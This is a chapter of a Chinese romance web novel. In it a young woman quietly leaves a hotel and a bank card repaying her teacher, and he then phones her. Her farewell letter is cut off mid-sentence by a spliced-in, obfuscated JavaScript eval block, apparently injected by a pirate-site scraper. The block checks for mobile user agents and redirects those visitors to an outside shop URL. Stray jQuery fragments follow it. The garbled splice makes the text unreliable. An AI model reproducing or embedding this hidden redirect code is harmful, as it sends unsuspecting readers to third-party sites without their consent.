“我听到电话响了,以为是自己的,就……就接了……”赵嘉儿坐在床沿,因为紧张,双脚无措地点着房间里的地毯,眼眶里的泪水突然大滴大滴地落了下来。
落在手指上的眼泪是温热的,似乎能灼伤她的皮肤。
她甚至不敢看他紧绷的脸。
“对不起……”赵嘉儿低头道歉,抽噎着,“我……我不是故意的……我不会再碰您的手机,廖老师可以……可以骂我……真的对不起……”
“沈梦已经到了酒店楼下,”廖书言有些后悔给了她脸色看,抽出一张纸递到她手边,“把眼泪擦一擦,我先送她到附近的酒店,你在房间里等我。”
赵嘉儿接过纸巾,擤着鼻子,没有应声。
廖书言见她不愿说话,取过车钥匙出了门。
听到房门关上的声音,赵嘉儿心里一沉,有种说不出的苦闷和酸楚。
她一直相信他与沈梦之间是清白无染的,可是,沈梦前来,他却只字未提此事,甚至都不愿让她与沈梦相见。
不管怎么说,沈梦是她这次出门遇到的第一个朋友。
赵嘉儿收拾着房间里的行李,听到门铃声,满心疑惑。
从猫眼里,她看到是酒店服务员,说一声:“稍等。”转身便从背包里拿出一枚白色口罩罩住了脸,这才放心地打开房门将人让了进来。
女服务员推着餐车进来,将热粥、南瓜饼和虾仁水饺摆在房间的茶几上,彬彬有礼地向赵嘉儿弯了弯腰:“请慢用。”
赵嘉儿有些糊涂:“我没叫餐啊?”
“是廖先生下楼点的餐,让我们直接送上来。”
赵嘉儿“哦”了一声,勉强露出一丝笑容:“谢谢你。”
女服务员脸上始终保持着甜美的职业微笑:“祝您用餐愉快!”
赵嘉儿本来打算自己去外面随便吃一些,廖书言既然为她点了餐,她只能一个人坐在茶几旁吃着早餐。
她一个人吃不了这么多,将最合自己口味的虾仁水饺吃完,又喝了几口白粥、吃了两块南瓜饼。她将没吃完的白粥和南瓜饼重新装好,放在了房间里的保温箱里,自己给手腕上的磨伤换了药。
正整理着自己的背包时,茶几上的手机震动了一下,是一条陌生短信。
赵嘉儿疑惑不解地点开,是沈梦发过来的信息:
嘉儿姐姐,这是我的新号码,你存一下。廖老师说你们住的酒店没有空房间了,要先帮我找附近的酒店,要耽误一些时间,你就把廖老师借我半天,等找好了酒店,我就去找你。
廖书言是借沈梦之口向她传达此事么?
赵嘉儿默默退出了短信界面,清点着背包里的行李,挑挑拣拣,还是将那盒药膏放进了包里。
将行李整理打包好,她找出床头柜下的笔纸,坐在茶几旁,在纸上写写划划,看着最后算出来的一长串数字,她不由拧紧了眉头:“我欠廖老师这么多钱啊!”
她在网上银行上查了查自己的工资卡,发现这两年攒下来的钱不足三十万,用笔尖抵着额头,长叹一口气:“廖老师为了救我,损失了二十万,加上这一路上的开销,还了债,我就要喝西北风去了!”
将欠下的二十二万转入一张不常用的银行/卡里,她将算账的纸张撕成碎片扔进了垃圾篓里,又将银行/卡和一张字条压在了茶几上的台历下。
灭了房间内的灯,她在房间里望了一圈,直到确定没有落下行李,这才从卡槽里拔出房卡,念念不舍地出了708。
706房间睡着廖书眉夫妇,赵嘉儿不知道怎么与廖书眉道别,在那扇门前伫立了片刻,便背着包进了电梯。
在酒店大堂内,有房客在喝茶闲聊,赵嘉儿环顾一周,深吸一口气向前台走去。
她将房卡交到值班的前台小姐手中,一遍又一遍地叮嘱着:“廖先生回来的时候,一定要将房卡交到他手中!”
前台小姐疑惑地瞅着她,核对了708的房间信息,笑道:“好的。”
赵嘉儿出了酒店,感觉今天的阳光有些刺眼,在酒店门前的马路边拦了一辆出租车:“师傅,去市公安局。”
廖书言要送她离开云南,她还不想回去。离开鲁甸的时候,她既然说出了会再回去的话,就不能这样一走了之。
廖书言在附近找了一家酒店,沈梦办理了入住手续后,在电梯里,他抬腕看了看表:“你吃了早餐,先在酒店休息,我找当地的导游带你在云南玩一玩,你尽兴了就回去。”
沈梦有些沮丧:“廖老师不跟我一起么?”
“我来云南不是为了玩。”廖书言帮她将行李箱送出电梯,转身又进了电梯。
沈梦使劲按着电梯的上下键,趴在电梯门口,殷切地道:“老师不坐坐就走么?是不是我爸那天在医院里给了您难堪,您就……就不待见我了……”
廖书言笑道:“你怎样骗了你父母,让他们误会了我们之间的关系,我不追究。不过,看在师生一场的份上,作为老师,我希望沈梦同学能自尊自爱。”
沈梦不甘心地笑了笑:“老师能与才相识几天的嘉儿姐姐同居,真的是看上她了?不是一时冲动才睡在了一起?”
廖书言感觉这话十分刺耳难听,眼神骤冷,沈梦却已退出电梯门,拉着行李箱就走了。
电梯门缓缓合上,他呼出一口气,缓解了心中的郁结。
在车上,他想起赵嘉儿早间哭泣的样子,路过一家披萨店时,想要买一份她最爱吃的鲜橙披萨来赔罪。店里没有鲜橙披萨,只能现做,他只好坐在店里默默等着。
他看着她的微信头像,点开,又关上。
最后,还是点开敲下了一句话。
言:早餐有没有吃?
音沉大海。
他焦急不安地等了十分钟左右,手机像是失去信号一样,没有任何消息传送进来。
时间一分一秒地过去,廖书言心里始终牵挂着赵嘉儿,猜测着她是不是在生气,故意不理他。
新鲜的鲜橙披萨出炉时,他又根据她平常的口味,挑了几样精致的小蛋糕,让老板一并给包了起来。
廖书言的车在云来大酒店停下,门迎迎了上来,他小心翼翼地拎出披萨和蛋糕,经过酒店大堂时,前台小姐忽然叫住了他。
“廖先生!”
廖书言停住脚,眼露疑惑,慢慢向前台走去。
前台小姐将一张金属材质的房卡推到他面前,微笑着说:“这是赵小姐托我保管的您的房卡,请收好。”
廖书言拿起房卡看了看,确实是他房间的房卡。他心中不解,更有些慌乱:“她离开酒店了?”
“是的,赵小姐是背着包离开的,”前台小姐有些疑惑,“赵小姐离开没与您说么?”
廖书言笑了笑,只道:“谢谢。”
他收起房卡,出了电梯就直奔708房间。房间内的摆设丝毫未动,但却少了她的身影和她的行李。
廖书言将手中的包装盒放在房间的书桌上,焦急无措地在有限的空间里转来转去,掏出手机走向窗边。在经过窗边的茶几时,他见台历下压着字条,伸手取了出来。
在字条下,还压着一张银行/卡。
廖书言在茶几旁坐下,拨出去的号码一直无人接听,而他在看到赵嘉儿留下的字条时,整张脸顿时绷得紧紧的。
廖老师,早餐我没吃完,实在吃不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14227877|151286||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
下了,剩下的我放在保温箱里了,没有浪费。
还有,我算了算欠您的钱,七七八八加起来,也差不多二十二万,茶几上的银行/卡是还给您的钱,密码我写在字条的背后了。
我也不知道该说些什么了。
总之,真的很谢谢廖老师这一路的照顾。那一晚,要不是廖老师,我不知道还能不能活着去见姐姐呢!
就这样吧。
有缘再见。
紧贴着左耳的手机听筒里传来忙音,电话无人接听,廖书言将手机放下,拿过那张银行/卡,紧紧地攥在了手里。
卡片硌得他的手心生疼,他却恨不得将其折断。
随手将银行/卡扔在茶几上,他盯着手中的字条看了一遍又一遍,确信她是真的就这样离开了,才向后仰起了身子。
背靠着藤椅椅背,廖书言举着字条看着。
看的不再是白纸上的内容,而是她用铅笔写出来的字。
第一次见到她的字,纸上的字迹也如同她的人一样,纤细柔弱,令人赏心悦目。
目光瞥到书桌上的披萨和蛋糕,他坐直身子,将字条和银行/卡收起,再次拨打她的电话。
嘟——嘟——嘟——
一声一声,都似锤子在他心上敲打,他不敢呼吸,生怕在电话接通的那一刻,错过了她的每一个音节。
短短十几秒的等待,他也觉得漫长。
这一次,电话通了。
“廖老师。”
是她的声音,轻灵悦耳,暖暖的,如同一泓清泉在他心上流过。
而他却发现自己的嗓子有些干,有些哑,许久都发不出声音。
他在酝酿着要说出口的话,电话那头也沉默着,静得只听得到她的呼吸声。
“我给你买了你最爱吃的鲜橙披萨,”廖书言的语气显得小心翼翼的,又藏着隐隐的期待,“你回来吃么?”
“谢谢廖老师!”
鞋底摩擦地板的声音,一下一下,她的呼吸急促了一些,是在走路,手机里也传来了街上汽车的鸣笛声。
“你在哪里?”
“我刚从公安厅里出来,”赵嘉儿的情绪有些低落,很快又恢复过来,语气有些踟蹰,“对了,廖老师,您回酒店了么?有没有看到我给您留的字条和银行/卡?”
廖书言不去回答她:“为什么要一个人离开?”
赵嘉儿喉咙一堵,在附近的公交站牌处停下,低着头没有回话。
“嘉清还未受审判刑,这个时候不允许探望,”廖书言走到窗边,缓缓地道,“我答应带你见他,你怎么一个人去了?”
赵嘉儿踢着鞋尖,慢吞吞地说着:“我知道我一个人来见不着他,我也不是为了见到他才来了,是交给了警方一份能降低他罪行的录像。”
廖书言有些吃惊,没有再问下去,再次问道:“你还在公安厅附近么?”
赵嘉儿沉默了一阵,道:“廖老师,您别过来了,我想好接下来要去的地方了。有缘……再见吧。”
“我送你一程。”
“不用,”赵嘉儿苦笑着,“我已经麻烦了您很长一段时间,还害得您破了财,甚至差点没了命。廖老师,您……您就陪着沈梦在昆明好好逛逛,不用担心我!”
廖书言笑得无奈:“你急着离开,是因为她?她在电话里跟你说了什么?”
“什么也没说,”赵嘉儿不想多谈,急急地道,“廖老师,车来了,有机会再联系!”
她匆匆挂了电话,随便钻进了进站的一辆公交车上。
房间里,廖书言望着突然被挂断的手机,在窗边站了许久,又缓缓拨下了另一通电话号码。